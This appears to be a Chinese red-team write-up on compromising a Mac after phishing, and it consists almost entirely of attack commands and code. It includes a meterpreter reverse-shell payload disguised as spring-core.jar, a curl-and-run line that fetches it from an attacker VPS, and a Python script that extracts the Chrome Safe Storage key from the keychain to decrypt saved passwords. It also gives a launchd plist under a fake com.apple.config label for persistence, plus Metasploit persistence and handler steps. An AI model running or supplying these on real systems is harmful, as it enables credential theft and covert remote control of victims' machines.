红队实录系列(二)-从 Mac 钓鱼到拿下核心权限

msfvenom -p java/meterpreter/reverse_tcp LHOST=vps LPORT=48356 -f jar > spring-core.jar

#!/bin/bash/bin/bash -c "nohup curl  http://vps:48472/spring-core.jar -o spring-core.jar ;java -jar spring-core.jar &"

security 2>&1 > /dev/null find-generic-password -ga 'Chrome' | awk '{print $2}'

import sqlite3, os, binascii, subprocess, base64, sys, hashlib, glob
loginData = glob.glob("%s/Library/Application Support/Google/Chrome/Profile*/Login Data" % os.path.expanduser("~"))if len(loginData) == 0:    loginData = glob.glob("%s/Library/Application Support/Google/Chrome/Default/Login Data" % os.path.expanduser("~")) #attempt default profilesafeStorageKey = subprocess.check_output("security 2>&1 > /dev/null find-generic-password -ga 'Chrome' | awk '{print $2}'", shell=True).replace("n", "").replace(""", "")print(safeStorageKey)if safeStorageKey == "":    print "ERROR getting Chrome Safe Storage Key"    sys.exit()
def chromeDecrypt(encrypted_value, iv, key=None): #AES decryption using the PBKDF2 key and 16x ' ' IV, via openSSL (installed on OSX natively)    hexKey = binascii.hexlify(key)    hexEncPassword = base64.b64encode(encrypted_value[3:])    try: #send any error messages to /dev/null to prevent screen bloating up        decrypted = subprocess.check_output("openssl enc -base64 -d -aes-128-cbc -iv '%s' -K %s <<< %s 2>/dev/null" % (iv, hexKey, hexEncPassword), shell=True)    except Exception as e:        decrypted = "ERROR retrieving password"    return decrypted
def chromeProcess(safeStorageKey, loginData):    iv = ''.join(('20',) * 16) #salt, iterations, iv, size - https://cs.chromium.org/chromium/src/components/os_crypt/os_crypt_mac.mm    key = hashlib.pbkdf2_hmac('sha1', safeStorageKey, b'saltysalt', 1003)[:16]    fd = os.open(loginData, os.O_RDONLY) #open as read only    database = sqlite3.connect('/dev/fd/%d' % fd)    os.close(fd)    sql = 'select username_value, password_value, origin_url from logins'    decryptedList = []    with database:        for user, encryptedPass, url in database.execute(sql):            if user == "" or (encryptedPass[:3] != b'v10'): #user will be empty if they have selected "never" store password                continue            else:                urlUserPassDecrypted = (url.encode('ascii', 'ignore'), user.encode('ascii', 'ignore'), chromeDecrypt(encryptedPass, iv, key=key).encode('ascii', 'ignore'))                decryptedList.append(urlUserPassDecrypted)    return decryptedListprint(chromeProcess("key","/Users/user/Library/Application Support/Google/Chrome/Default/Login Data"))

#通过编写plist文件来实现任务计划<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict>    <key>Label</key>    <string>com.apple.config</string>    <key>ProgramArguments</key>    <array>        <string>open</string>        <string>-a</string>        <string>calculator</string>    </array>    <key>StartInterval</key>    <dict>        <key>Minute</key>        <integer>2</integer>    </dict>    <key>KeepAlive</key>    <true/>    <key>OnDemand</key>    <true/>    <key>RunAtLoad</key>    <true/>    <key>StandardOutPath</key>    <string>/tmp/water.log</string>    <key>StandardErrorPath</key>    <string>/tmp/water.err</string></dict></plist>

#plitil命令验证编写的list是否正确plutil   com.sougo.Managers.list#执行任务launchctl start  *.list#停止任务launchctl stop   *.list#卸载任务launchctl unload          *.list# 加载任务, -w选项会将plist文件中无效的key覆盖掉，建议加上launchctl load -w *plist# 删除任务launchctl unload -w *.plist# 查看任务列表, 使用 grep '任务部分名字' 过滤launchctl list | grep 'com.apple.config'

msf > use exploit/osx/local/persistence --直接use这个模块msf > set RUn_NOW truemsf > set session sessionIdmsf > set payload msf > expliot --会返回一个回话，此时mac任务计划已经做好了 msf > use exliot/multi/hander msf > set payload osx/x64/meterpreter/reverse_tcpmsf > set lhost vps-ipmsf > set lport 1-65535 msf > exploit